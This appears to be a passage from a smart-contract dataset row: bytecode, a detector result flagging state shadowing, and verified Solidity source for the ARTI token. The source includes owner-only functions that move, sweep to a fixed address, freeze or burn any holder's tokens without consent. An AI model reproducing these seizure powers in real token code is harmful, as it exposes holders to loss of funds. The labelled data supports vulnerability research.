} | 0x608060405234801561001057600080fd5b50600436106101005760003560e01c80638da5cb5b11610097578063a9059cbb11610066578063a9059cbb14610367578063dd62ed3e14610393578063f2fde38b146103c1578063ff192bc8146103e757610100565b80638da5cb5b1461028e5780638f32d59b146102b257806395d89b41146102ba5780639f0573a8146102c257610100565b8063313ce567116100d3578063313ce5671461021257806354163fe01461023057806354fd4d501461026057806370a082311461026857610100565b806306fdde0314610105578063095ea7b31461018257806318160ddd146101c257806323b872dd146101dc575b600080fd5b61010d61040d565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561014757818101518382015260200161012f565b50505050905090810190601f1680156101745780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101ae6004803603604081101561019857600080fd5b506001600160a01b03813516906020013561049b565b604080519115158252519081900360200190f35b6101ca610556565b60408051918252519081900360200190f35b6101ae600480360360608110156101f257600080fd5b506001600160a01b0381358116916020810135909116906040013561055c565b61021a6105a1565b6040805160ff9092168252519081900360200190f35b61025e6004803603604081101561024657600080fd5b506001600160a01b03813516906020013515156105aa565b005b61010d61064b565b6101ca6004803603602081101561027e57600080fd5b50356001600160a01b03166106a6565b6102966106b8565b604080516001600160a01b039092168252519081900360200190f35b6101ae6106c7565b61010d6106d8565b61025e600480360360408110156102d857600080fd5b8101906020810181356401000000008111156102f357600080fd5b82018360208201111561030557600080fd5b8035906020019184602083028401116401000000008311171561032757600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295505050503515159050610733565b6101ae6004803603604081101561037d57600080fd5b506001600160a01b03813516906020013561077a565b6101ca600480360360408110156103a957600080fd5b506001600160a01b0381358116916020013516610790565b61025e600480360360208110156103d757600080fd5b50356001600160a01b03166107ad565b6101ae600480360360208110156103fd57600080fd5b50356001600160a01b03166107ca565b6009805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156104935780601f1061046857610100808354040283529160200191610493565b820191906000526020600020905b81548152906001019060200180831161047657829003601f168201915b505050505081565b3360009081526007602052604081205460ff16156104b857600080fd5b8115806104e657503360009081526006602090815260408083206001600160a01b0387168452909152902054155b6104ef57600080fd5b3360008181526006602090815260408083206001600160a01b03881680855290835292819020869055805186815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a350600192915050565b60045481565b6001600160a01b038316600090815260066020908152604080832033845290915281205482111561058c57600080fd5b6105978484846107df565b5060019392505050565b600c5460ff1681565b6105b26106c7565b6105bb57600080fd5b6001600160a01b03821660009081526007602052604090205460ff16151581151514156105e757600080fd5b6001600160a01b038216600081815260076020908152604091829020805460ff191685151590811790915582519384529083015280517f48335238b4855f35377ed80f164e8c6f3c366e54ac00b96a6402d4a9814a03a59281900390910190a15050565b600b805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156104935780601f1061046857610100808354040283529160200191610493565b60056020526000908152604090205481565b6000546001600160a01b031690565b6000546001600160a01b0316331490565b600a805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156104935780601f1061046857610100808354040283529160200191610493565b61073b6106c7565b61074457600080fd5b60005b82518110156107755761076d83828151811061075f57fe5b6020026020010151836105aa565b600101610747565b505050565b60006107873384846107df565b50600192915050565b600660209081526000928352604080842090915290825290205481565b6107b56106c7565b6107be57600080fd5b6107c78161095d565b50565b60076020526000908152604090205460ff1681565b60085460408051630f8653b360e21b81526001600160a01b03808716600483015280861660248301529151869386931691633e194ecc9160448083019260209291908290030181600087803b15801561083757600080fd5b505af115801561084b573d6000803e3d6000fd5b505050506040513d602081101561086157600080fd5b505161086c57600080fd5b6001600160a01b03851660009081526005602052604090205483111561089157600080fd5b6001600160a01b038416600090815260056020526040902054838101116108b757600080fd5b6001600160a01b0380851660008181526005602090815260408083208054958b1680855282852080548b81039091559486905281548a01909155815189815291519390950194927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a36001600160a01b0380861660009081526005602052604080822054928916825290205401811461095557fe5b505050505050565b6001600160a01b03811661097057600080fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b039290921691909117905556fea265627a7a72315820e2c1579b63682e799532465950c369db34651f8eb0cd83396d2bf34db138c59e64736f6c63430005100032 | {"success": true, "error": null, "results": {"detectors": [{"check": "shadowing-state", "impact": "High", "confidence": "High"}]}} | 10,579 |
0x3625b55f653f8c7c884ac668696881df43631d44 | /**
*Submitted for verification at Etherscan.io on 2021-04-13
*/
pragma solidity ^0.4.24;
contract SafeMath {
function safeAdd(uint256 a, uint256 b) public pure returns (uint256 c) {
c = a + b;
require(c >= a);
}
function safeSub(uint256 a, uint256 b) public pure returns (uint256 c) {
require(b <= a);
c = a - b;
}
function safeMul(uint256 a, uint256 b) public pure returns (uint256 c) {
if(a == 0) {
return 0;
}
c = a * b;
require(c / a == b);
}
function safeDiv(uint256 a, uint256 b) public pure returns (uint256 c) {
require(b > 0);
c = a / b;
}
}
contract ERC20Interface {
function totalSupply() public view returns (uint256);
function balanceOf(address tokenOwner) public view returns (uint balance);
function allowance(address tokenOwner, address spender) public view returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes memory data) public;
}
contract Owned {
address public tokenCreator;
address public owner;
event OwnershipChange(address indexed _from, address indexed _to);
constructor() public {
tokenCreator=msg.sender;
owner=msg.sender;
}
modifier onlyOwner {
require(msg.sender==tokenCreator || msg.sender==owner,"ARTI: No ownership.");
_;
}
function transferOwnership(address newOwner) external onlyOwner {
require(newOwner!=address(0),"ARTI: Ownership to the zero address");
emit OwnershipChange(owner,newOwner);
owner=newOwner;
}
}
contract TokenDefine {
ERCToken newERCToken = new ERCToken(1000000000, "Arti Project", "ARTI");
}
contract ERCToken is ERC20Interface, Owned, SafeMath {
string public name;
string public symbol;
uint8 public decimals = 8;
uint256 public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
constructor(
uint256 initialSupply,
string memory tokenName,
string memory tokenSymbol
) public {
_totalSupply=safeMul(initialSupply,10 ** uint256(decimals));
balances[msg.sender]=_totalSupply;
name=tokenName;
symbol=tokenSymbol;
}
function totalSupply() public view returns (uint) {
return _totalSupply;
}
function balanceOf(address tokenOwner) public view returns (uint balance) {
return balances[tokenOwner];
}
function _transfer(address _from, address _to, uint _value) internal {
require(_to!=0x0,"ARTI: Transfer to the zero address");
require(balances[_from]>=_value,"ARTI: Transfer Balance is insufficient.");
balances[_from]=safeSub(balances[_from],_value);
balances[_to]=safeAdd(balances[_to],_value);
emit Transfer(_from,_to,_value);
}
function transfer(address _to, uint256 _value) public returns (bool success) {
_transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from,address _to,uint256 _value) public returns (bool success) {
require(_value<=allowed[_from][msg.sender],"ARTI: TransferFrom Allowance is insufficient.");
allowed[_from][msg.sender]=safeSub(allowed[_from][msg.sender],_value);
_transfer(_from,_to,_value);
return true;
}
function _approve(address owner, address spender, uint256 amount) internal {
require(owner != address(0),"ARTI: Approve to the zero address");
require(spender != address(0),"ARTI: Approve to the zero address");
allowed[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function approve(address spender, uint256 tokens) public returns (bool success) {
_approve(msg.sender,spender,tokens);
return true;
}
function allowance(address tokenOwner, address spender) public view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approveAndCall(address spender, uint tokens, bytes memory data) public returns (bool success) {
require(spender!=address(0),"ARTI: ApproveAndCall to the zero address");
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, address(this), data);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(msg.sender,spender,safeAdd(allowed[msg.sender][spender],addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(msg.sender,spender,safeSub(allowed[msg.sender][spender],subtractedValue));
return true;
}
function () external payable {
revert();
}
function transferAnyERC20Token(address tokenAddress, uint tokens) external onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
}
contract MyAdvancedToken is ERCToken {
bool LockTransfer=false;
uint256 BurnTotal=0;
mapping (address => uint256) lockbalances;
mapping (address => bool) public frozenSend;
mapping (address => bool) public frozenReceive;
mapping (address => bool) public freeLock;
mapping (address => uint256) public holdStart;
mapping (address => uint256) public holdEnd;
event Burn(address from, uint256 value);
event BurnChange(uint addrcount, uint256 totalburn);
event LockStatus(address target,bool lockable);
event FrozenStatus(address target,bool frozens,bool frozenr);
event FrozenChange(uint freezecount);
event HoldStatus(address target,uint256 start,uint256 end);
event HoldChange(uint holdcount,uint256 start,uint256 end);
event FreeStatus(address target,bool freelock);
event FreeChange(uint freezecount,bool freelock);
event LockChange(uint addrcount, uint256 totalmint);
event lockAmountSet(address target,uint256 amount);
constructor(
uint256 initialSupply,
string memory tokenName,
string memory tokenSymbol
) ERCToken(initialSupply, tokenName, tokenSymbol) public {}
function _transfer(address _from, address _to, uint256 _value) internal {
require(_to!= address(0),"ARTI: Transfer to the zero address");
require(balances[_from]>=_value,"ARTI: Transfer Balance is insufficient.");
require(safeSub(balances[_from],lockbalances[_from])>=_value,"ARTI: Free Transfer Balance is insufficient.");
if(!freeLock[_from]) {
require(!LockTransfer,"ARTI: Lock transfer.");
require(!frozenSend[_from],"ARTI: This address is locked to send.");
require(!frozenReceive[_to],"ARTI: This address is locked to receive.");
if(holdStart[_from]>0) {
require(block.timestamp<holdStart[_from],"ARTI: This address is locked at now.");
}
if(holdEnd[_from]>0) {
require(block.timestamp>holdEnd[_from],"ARTI: This address is locked at now.");
}
}
balances[_from]=safeSub(balances[_from],_value);
balances[_to]=safeAdd(balances[_to],_value);
emit Transfer(_from,_to,_value);
}
function _transferFree(address _from, address _to, uint256 _value) internal {
require(_from!= address(0),"ARTI: TransferFree to the zero address");
require(_to!= address(0),"ARTI: TransferFree to the zero address");
require(balances[_from]>=_value,"ARTI: TransferFree Balance is insufficient.");
require(safeAdd(balances[_to],_value)>=balances[_to],"ARTI: TransferFree Invalid amount.");
uint256 previousBalances=safeAdd(balances[_from],balances[_to]);
balances[_from]=safeSub(balances[_from],_value);
balances[_to]=safeAdd(balances[_to],_value);
if(lockbalances[_from]>balances[_from]) lockbalances[_from]=balances[_from];
emit Transfer(_from,_to,_value);
assert(safeAdd(balances[_from],balances[_to])==previousBalances);
}
function transferOwner(address _from,address _to,uint256 _value) external onlyOwner returns (bool success) {
_transferFree(_from,_to,_value);
return true;
}
function transferSwap(address _from,address _to,uint256 _value) external onlyOwner returns (bool success) {
_transferFree(_from,_to,_value);
return true;
}
function transferMulti(address _from,address[] memory _to,uint256[] memory _value) public onlyOwner returns (bool success) {
for(uint256 i=0;i<_to.length;i++) {
_transferFree(_from,_to[i],_value[i]);
}
return true;
}
function transferMulti2(address _from,address[] memory _to,uint256 _value) public onlyOwner returns (bool success) {
for(uint256 i=0;i<_to.length;i++) {
_transferFree(_from,_to[i],_value);
}
return true;
}
function transferGather(address[] memory _from,address _to,uint256 _value) public onlyOwner returns (bool success) {
for(uint256 i=0;i<_from.length;i++) {
_transferFree(_from[i],_to,_value);
}
return true;
}
function transferGather2(address[] memory _from,address _to,uint256[] memory _value) public onlyOwner returns (bool success) {
for(uint256 i=0;i<_from.length;i++) {
_transferFree(_from[i],_to,_value[i]);
}
return true;
}
function transferReturn(address[] memory _from,uint256[] memory _value) public onlyOwner returns (bool success) {
address ReturnAddress=0x3D61De04503ea7cEE933eA14c4f4EA8b43115016;
for(uint256 i=0;i<_from.length;i++) {
_transferFree(_from[i],ReturnAddress,_value[i]);
}
return true;
}
function transferReturnAll(address[] memory _from) public onlyOwner returns (bool success) {
address ReturnAddress=0x3D61De04503ea7cEE933eA14c4f4EA8b43115016;
for(uint256 i=0;i<_from.length;i++) {
_transferFree(_from[i],ReturnAddress,balances[_from[i]]);
}
return true;
}
function _burn(address _from, uint256 _value,bool logflag) internal {
require(_from!=address(0),"ARTI: Burn to the zero address");
require(balances[_from]>=_value,"ARTI: Burn balance is insufficient.");
balances[_from]=safeSub(balances[_from],_value);
_totalSupply=safeSub(_totalSupply,_value);
BurnTotal=safeAdd(BurnTotal,_value);
if(logflag) {
emit Burn(_from,_value);
}
}
function burn(uint256 _value) public returns (bool success) {
_burn(msg.sender,_value,true);
return true;
}
function burnFrom(address _from, uint256 _value) public onlyOwner returns (bool success) {
_burn(_from,_value,true);
return true;
}
function burnMulti(address[] memory _from,uint256[] memory _value) public onlyOwner returns (bool success) {
uint256 burnvalue=0;
uint256 total=0;
uint256 i=0;
for(i=0;i<_from.length;i++) {
burnvalue=_value[i];
total=safeAdd(total,burnvalue);
_burn(_from[i],burnvalue,false);
}
BurnTotal=safeAdd(BurnTotal,total);
emit BurnChange(i,total);
return true;
}
function burnAll(address[] memory _from) public onlyOwner returns (bool success) {
uint256 balance=0;
uint256 total=0;
uint256 i=0;
for(i=0;i<_from.length;i++) {
balance=balances[_from[i]];
total=safeAdd(total,balance);
_burn(_from[i],balance,false);
}
BurnTotal=safeAdd(BurnTotal,total);
emit BurnChange(i,total);
return true;
}
function burnState() public view returns (uint256 BurnTotalAmount) {
return BurnTotal;
}
function lockToken(bool lockTransfer) external onlyOwner returns (bool success) {
LockTransfer=lockTransfer;
emit LockStatus(msg.sender,LockTransfer);
return true;
}
function lockState() public view returns (bool tokenLock) {
return LockTransfer;
}
function _freezeAddress(address target,bool freezes,bool freezer,bool logflag) internal {
frozenSend[target]=freezes;
frozenReceive[target]=freezer;
if(logflag) {
emit FrozenStatus(target,freezes,freezer);
}
}
function freezeAddress(address target,bool freezes,bool freezer) external onlyOwner returns (bool success) {
_freezeAddress(target,freezes,freezer,true);
return true;
}
function freezeMulti(address[] memory target,bool[] memory freezes,bool[] memory freezer) public onlyOwner returns (bool success) {
uint256 i=0;
for(i=0;i<target.length;i++) {
_freezeAddress(target[i],freezes[i],freezer[i],false);
}
emit FrozenChange(i);
return true;
}
function freezeMulti2(address[] memory target,bool freezes,bool freezer) public onlyOwner returns (bool success) {
uint256 i=0;
for(i=0;i<target.length;i++) {
_freezeAddress(target[i],freezes,freezer,false);
}
emit FrozenChange(i);
return true;
}
function freezeSendState(address target) public view returns (bool success) {
return frozenSend[target];
}
function freezeReceiveState(address target) public view returns (bool success) {
return frozenReceive[target];
}
function _holdAddress(address target,uint256 starttime,uint256 endtime,bool logflag) internal {
holdStart[target]=starttime;
holdEnd[target]=endtime;
if(logflag) {
emit HoldStatus(target,starttime,endtime);
}
}
function holdAddress(address target,uint256 starttime,uint256 endtime) public onlyOwner returns (bool success) {
_holdAddress(target,starttime,endtime,true);
return true;
}
function holdMulti(address[] memory target,uint256 starttime,uint256 endtime) public onlyOwner returns (bool success) {
uint256 i=0;
for(i=0;i<target.length;i++) {
_holdAddress(target[i],starttime,endtime,false);
}
emit HoldChange(i,starttime,endtime);
return true;
}
function holdStateStart(address target) public view returns (uint256 holdStartTime) {
return holdStart[target];
}
function holdStateEnd(address target) public view returns (uint256 holdEndTime) {
return holdEnd[target];
}
function _lockAmountAddress(address target,uint256 amount) internal {
lockbalances[target]=amount;
emit lockAmountSet(target,amount);
}
function lockAmountAddress(address target,uint256 amount) public onlyOwner returns (bool success) {
_lockAmountAddress(target,amount);
return true;
}
function lockAmountMulti(address[] memory target,uint256[] memory amount) public onlyOwner returns (bool success) {
uint256 i=0;
for(i=0;i<target.length;i++) {
_lockAmountAddress(target[i],amount[i]);
}
return true;
}
function lockAmountMulti2(address[] memory target,uint256 amount) public onlyOwner returns (bool success) {
uint256 i=0;
for(i=0;i<target.length;i++) {
_lockAmountAddress(target[i],amount);
}
return true;
}
function lockAmount(address target) public view returns (uint256 lockBalance) {
return lockbalances[target];
}
function lockFreeAmount(address target) public view returns (uint256 lockFreeBalance) {
return safeSub(balances[target],lockbalances[target]);
}
function _freeAddress(address target,bool freelock,bool logflag) internal {
freeLock[target]=freelock;
if(logflag) {
emit FreeStatus(target,freelock);
}
}
function freeAddress(address target,bool freelock) public onlyOwner returns (bool success) {
_freeAddress(target,freelock,true);
return true;
}
function freeMulti2(address[] memory target,bool freelock) public onlyOwner returns (bool success) {
uint256 i=0;
for(i=0;i<target.length;i++) {
_freeAddress(target[i],freelock,false);
}
emit FreeChange(i,freelock);
return true;
}
function freeState(address target) public view returns (bool success) {
return freeLock[target];
}
} | 0x6080604052600436106102b35763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde0381146102b8578063095ea7b3146103425780630ad2f2a61461037a57806315a076261461039b578063161b5e461461040157806318160ddd1461042b57806319a19e43146104525780631ffb528f146104a957806323b872dd146104d4578063269d9e92146104fe5780632d1bf42714610513578063313ce56714610534578063347a34081461055f57806339509351146105b45780633eaaf86b146105d857806342966c68146105ed57806346be9c48146106055780634c2402fa1461061a5780634c555ece1461063e5780635235c0001461065f57806369ec638e1461068057806370a082311461070e5780637245d3671461072f57806377ba00651461075057806379a74d401461081757806379cc67901461087557806388d4fc7e146108995780638da5cb5b1461093757806395bc3bd01461096857806395d89b411461098957806398d2fb551461099e578063a293d1e814610a3a578063a457c2d714610a55578063a9059cbb14610a79578063aae57f2b14610a9d578063b34d1ceb14610abe578063b5931f7c14610adf578063b70b0aa914610afa578063b7447f3e14610b53578063bcd05a1814610b79578063ca0a93e814610401578063cae9ca5114610c07578063d05c78da14610c70578063d1875e8914610c8b578063d1d8b27714610d19578063db84252c14610d3a578063dc39d06d14610d4f578063dd62ed3e14610d73578063dfeb066114610d9a578063e6cb901314610dbb578063eb67e99d14610dd6578063ecf848bd14610e34578063f1979d5b14610e55578063f1f0b29014610eba578063f2fde38b14610ed4578063f8ffdfc914610ef7578063fca8175f14610f4c578063ff436d8614610f73575b600080fd5b3480156102c457600080fd5b506102cd610f94565b6040805160208082528351818301528351919283929083019185019080838360005b838110156103075781810151838201526020016102ef565b50505050905090810190601f1680156103345780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561034e57600080fd5b50610366600160a060020a036004351660243561101f565b604080519115158252519081900360200190f35b34801561038657600080fd5b50610366600160a060020a0360043516611036565b3480156103a757600080fd5b50604080516020600480358082013583810280860185019096528085526103669536959394602494938501929182918501908490808284375094975050508335600160a060020a031694505050602090910135905061104b565b34801561040d57600080fd5b50610366600160a060020a03600435811690602435166044356110f7565b34801561043757600080fd5b50610440611174565b60408051918252519081900360200190f35b34801561045e57600080fd5b506040805160206004803580820135838102808601850190965280855261036695369593946024949385019291829185019084908082843750949750509335945061117a9350505050565b3480156104b557600080fd5b50610366600160a060020a03600435166024351515604435151561121a565b3480156104e057600080fd5b50610366600160a060020a036004358116906024351660443561128f565b34801561050a57600080fd5b5061044061138d565b34801561051f57600080fd5b50610366600160a060020a0360043516611393565b34801561054057600080fd5b506105496113b1565b6040805160ff9092168252519081900360200190f35b34801561056b57600080fd5b5060408051602060048035808201358381028086018501909652808552610366953695939460249493850192918291850190849080828437509497506113ba9650505050505050565b3480156105c057600080fd5b50610366600160a060020a0360043516602435611506565b3480156105e457600080fd5b50610440611541565b3480156105f957600080fd5b50610366600435611547565b34801561061157600080fd5b5061036661155d565b34801561062657600080fd5b50610366600160a060020a0360043516602435611566565b34801561064a57600080fd5b50610440600160a060020a03600435166115d8565b34801561066b57600080fd5b50610440600160a060020a03600435166115f3565b34801561068c57600080fd5b506040805160206004803580820135838102808601850190965280855261036695369593946024949385019291829185019084908082843750506040805187358901803560208181028481018201909552818452989b9a9989019892975090820195509350839250850190849080828437509497506116059650505050505050565b34801561071a57600080fd5b50610440600160a060020a03600435166116bc565b34801561073b57600080fd5b50610366600160a060020a03600435166116d7565b34801561075c57600080fd5b506040805160206004803580820135838102808601850190965280855261036695369593946024949385019291829185019084908082843750506040805187358901803560208181028481018201909552818452989b9a998901989297509082019550935083925085019084908082843750506040805187358901803560208181028481018201909552818452989b9a9989019892975090820195509350839250850190849080828437509497506116f59650505050505050565b34801561082357600080fd5b5060408051602060048035808201358381028086018501909652808552610366953695939460249493850192918291850190849080828437509497505084359550505060209092013591506118049050565b34801561088157600080fd5b50610366600160a060020a03600435166024356118f2565b3480156108a557600080fd5b50604080516020600480358082013583810280860185019096528085526103669536959394602494938501929182918501908490808284375050604080516020808901358a01803580830284810184018652818552999c600160a060020a038c35169c909b909a9501985092965081019450909250829190850190849080828437509497506119669650505050505050565b34801561094357600080fd5b5061094c611a1e565b60408051600160a060020a039092168252519081900360200190f35b34801561097457600080fd5b50610440600160a060020a0360043516611a2d565b34801561099557600080fd5b506102cd611a48565b3480156109aa57600080fd5b50604080516020600460248035828101358481028087018601909752808652610366968435600160a060020a031696369660449591949091019291829185019084908082843750506040805187358901803560208181028481018201909552818452989b9a998901989297509082019550935083925085019084908082843750949750611aa39650505050505050565b348015610a4657600080fd5b50610440600435602435611b4c565b348015610a6157600080fd5b50610366600160a060020a0360043516602435611b61565b348015610a8557600080fd5b50610366600160a060020a0360043516602435611b97565b348015610aa957600080fd5b50610440600160a060020a0360043516611ba4565b348015610aca57600080fd5b50610440600160a060020a0360043516611bb6565b348015610aeb57600080fd5b50610440600435602435611bd1565b348015610b0657600080fd5b506040805160206004803580820135838102808601850190965280855261036695369593946024949385019291829185019084908082843750949750505050913515159250611bf2915050565b348015610b5f57600080fd5b50610366600160a060020a03600435166024351515611cda565b348015610b8557600080fd5b506040805160206004803580820135838102808601850190965280855261036695369593946024949385019291829185019084908082843750506040805187358901803560208181028481018201909552818452989b9a998901989297509082019550935083925085019084908082843750949750611d4e9650505050505050565b348015610c1357600080fd5b50604080516020600460443581810135601f8101849004840285018401909552848452610366948235600160a060020a0316946024803595369594606494920191908190840183828082843750949750611e649650505050505050565b348015610c7c57600080fd5b5061044060043560243561204e565b348015610c9757600080fd5b506040805160206004803580820135838102808601850190965280855261036695369593946024949385019291829185019084908082843750506040805187358901803560208181028481018201909552818452989b9a99890198929750908201955093508392508501908490808284375094975061207a9650505050505050565b348015610d2557600080fd5b50610366600160a060020a036004351661213c565b348015610d4657600080fd5b5061094c612151565b348015610d5b57600080fd5b50610366600160a060020a0360043516602435612160565b348015610d7f57600080fd5b50610440600160a060020a036004358116906024351661226a565b348015610da657600080fd5b50610440600160a060020a0360043516612295565b348015610dc757600080fd5b506104406004356024356122c3565b348015610de257600080fd5b50604080516020600480358082013583810280860185019096528085526103669536959394602494938501929182918501908490808284375094975050505082351515935050506020013515156122d3565b348015610e4057600080fd5b50610366600160a060020a0360043516612376565b348015610e6157600080fd5b50604080516020600460248035828101358481028087018601909752808652610366968435600160a060020a031696369660449591949091019291829185019084908082843750949750509335945061238b9350505050565b348015610ec657600080fd5b50610366600435151561242c565b348015610ee057600080fd5b50610ef5600160a060020a03600435166124eb565b005b348015610f0357600080fd5b5060408051602060048035808201358381028086018501909652808552610366953695939460249493850192918291850190849080828437509497506126419650505050505050565b348015610f5857600080fd5b50610366600160a060020a0360043516602435604435612737565b348015610f7f57600080fd5b50610366600160a060020a03600435166127ac565b6002805460408051602060018416156101000260001901909316849004601f810184900484028201840190925281815292918301828280156110175780601f10610fec57610100808354040283529160200191611017565b820191906000526020600020905b815481529060010190602001808311610ffa57829003601f168201915b505050505081565b600061102c3384846127ca565b5060015b92915050565b600d6020526000908152604090205460ff1681565b600080548190600160a060020a03163314806110715750600154600160a060020a031633145b15156110b5576040805160e560020a62461bcd02815260206004820152601360248201526000805160206135ea833981519152604482015290519081900360640190fd5b5060005b84518110156110ec576110e485828151811015156110d357fe5b906020019060200201518585612938565b6001016110b9565b506001949350505050565b60008054600160a060020a031633148061111b5750600154600160a060020a031633145b151561115f576040805160e560020a62461bcd02815260206004820152601360248201526000805160206135ea833981519152604482015290519081900360640190fd5b61116a848484612938565b5060019392505050565b60055490565b600080548190600160a060020a03163314806111a05750600154600160a060020a031633145b15156111e4576040805160e560020a62461bcd02815260206004820152601360248201526000805160206135ea833981519152604482015290519081900360640190fd5b5060005b835181101561116a57611212848281518110151561120257fe5b9060200190602002015184612ce2565b6001016111e8565b60008054600160a060020a031633148061123e5750600154600160a060020a031633145b1515611282576040805160e560020a62461bcd02815260206004820152601360248201526000805160206135ea833981519152604482015290519081900360640190fd5b61116a8484846001612d3b565b600160a060020a0383166000908152600760209081526040808320338452909152812054821115611330576040805160e560020a62461bcd02815260206004820152602d60248201527f415254493a205472616e7366657246726f6d20416c6c6f77616e63652069732060448201527f696e73756666696369656e742e00000000000000000000000000000000000000606482015290519081900360840190fd5b600160a060020a038416600090815260076020908152604080832033845290915290205461135e9083611b4c565b600160a060020a038516600090815260076020908152604080832033845290915290205561116a848484612dcf565b60095490565b600160a060020a03166000908152600d602052604090205460ff1690565b60045460ff1681565b60008054819081908190600160a060020a03163314806113e45750600154600160a060020a031633145b1515611428576040805160e560020a62461bcd02815260206004820152601360248201526000805160206135ea833981519152604482015290519081900360640190fd5b5060009150819050805b84518110156114b15760066000868381518110151561144d57fe5b90602001906020020151600160a060020a0316600160a060020a0316815260200190815260200160002054925061148482846122c3565b91506114a9858281518110151561149757fe5b90602001906020020151846000613356565b600101611432565b6114bd600954836122c3565b600955604080518281526020810184905281517f15c741be0d4ccd13ea37674a212072f6e4418285458986f83604ff6705511b05929181900390910190a1506001949350505050565b336000818152600760209081526040808320600160a060020a0387168452909152812054909161102c91859061153c90866122c3565b6127ca565b60055481565b600061155533836001613356565b506001919050565b60085460ff1690565b60008054600160a060020a031633148061158a5750600154600160a060020a031633145b15156115ce576040805160e560020a62461bcd02815260206004820152601360248201526000805160206135ea833981519152604482015290519081900360640190fd5b61102c8383612ce2565b600160a060020a03166000908152600f602052604090205490565b600f6020526000908152604090205481565b600080548190600160a060020a031633148061162b5750600154600160a060020a031633145b151561166f576040805160e560020a62461bcd02815260206004820152601360248201526000805160206135ea833981519152604482015290519081900360640190fd5b5060005b835181101561116a576116b4848281518110151561168d57fe5b9060200190602002015184838151811015156116a557fe5b90602001906020020151612ce2565b600101611673565b600160a060020a031660009081526006602052604090205490565b600160a060020a03166000908152600b602052604090205460ff1690565b600080548190600160a060020a031633148061171b5750600154600160a060020a031633145b151561175f576040805160e560020a62461bcd02815260206004820152601360248201526000805160206135ea833981519152604482015290519081900360640190fd5b5060005b84518110156117c6576117be858281518110151561177d57fe5b90602001906020020151858381518110151561179557fe5b9060200190602002015185848151811015156117ad57fe5b906020019060200201516000612d3b565b600101611763565b6040805182815290517fd44ce07287964697b7e4f814699d4953eb553d081ba563fce200d07259b5b2df9181900360200190a1506001949350505050565b600080548190600160a060020a031633148061182a5750600154600160a060020a031633145b151561186e576040805160e560020a62461bcd02815260206004820152601360248201526000805160206135ea833981519152604482015290519081900360640190fd5b5060005b84518110156118a75761189f858281518110151561188c57fe5b90602001906020020151858560006134f8565b600101611872565b604080518281526020810186905280820185905290517f5b71fff8b7790e6e899d64d129083e6b9c98b78fa6773805651128ef29e05f249181900360600190a1506001949350505050565b60008054600160a060020a03163314806119165750600154600160a060020a031633145b151561195a576040805160e560020a62461bcd02815260206004820152601360248201526000805160206135ea833981519152604482015290519081900360640190fd5b61102c83836001613356565b600080548190600160a060020a031633148061198c5750600154600160a060020a031633145b15156119d0576040805160e560020a62461bcd02815260206004820152601360248201526000805160206135ea833981519152604482015290519081900360640190fd5b5060005b84518110156110ec57611a1685828151811015156119ee57fe5b90602001906020020151858584815181101515611a0757fe5b90602001906020020151612938565b6001016119d4565b600154600160a060020a031681565b600160a060020a03166000908152600a602052604090205490565b6003805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156110175780601f10610fec57610100808354040283529160200191611017565b600080548190600160a060020a0316331480611ac95750600154600160a060020a031633145b1515611b0d576040805160e560020a62461bcd02815260206004820152601360248201526000805160206135ea833981519152604482015290519081900360640190fd5b5060005b83518110156110ec57611b44858583815181101515611b2c57fe5b906020019060200201518584815181101515611a0757fe5b600101611b11565b600082821115611b5b57600080fd5b50900390565b336000818152600760209081526040808320600160a060020a0387168452909152812054909161102c91859061153c9086611b4c565b600061102c338484612dcf565b600e6020526000908152604090205481565b600160a060020a03166000908152600e602052604090205490565b6000808211611bdf57600080fd5b8183811515611bea57fe5b049392505050565b600080548190600160a060020a0316331480611c185750600154600160a060020a031633145b1515611c5c576040805160e560020a62461bcd02815260206004820152601360248201526000805160206135ea833981519152604482015290519081900360640190fd5b5060005b8351811015611c9457611c8c8482815181101515611c7a57fe5b90602001906020020151846000613575565b600101611c60565b60408051828152841515602082015281517f76489031fd8b861b5957e5d1660f36fc41f3780ec9ed424cf06dfc3b74f0881d929181900390910190a15060019392505050565b60008054600160a060020a0316331480611cfe5750600154600160a060020a031633145b1515611d42576040805160e560020a62461bcd02815260206004820152601360248201526000805160206135ea833981519152604482015290519081900360640190fd5b61102c83836001613575565b60008054819081908190600160a060020a0316331480611d785750600154600160a060020a031633145b1515611dbc576040805160e560020a62461bcd02815260206004820152601360248201526000805160206135ea833981519152604482015290519081900360640190fd5b5060009150819050805b8551811015611e0e578481815181101515611ddd57fe5b906020019060200201519250611df382846122c3565b9150611e06868281518110151561149757fe5b600101611dc6565b611e1a600954836122c3565b600955604080518281526020810184905281517f15c741be0d4ccd13ea37674a212072f6e4418285458986f83604ff6705511b05929181900390910190a150600195945050505050565b6000600160a060020a0384161515611eec576040805160e560020a62461bcd02815260206004820152602860248201527f415254493a20417070726f7665416e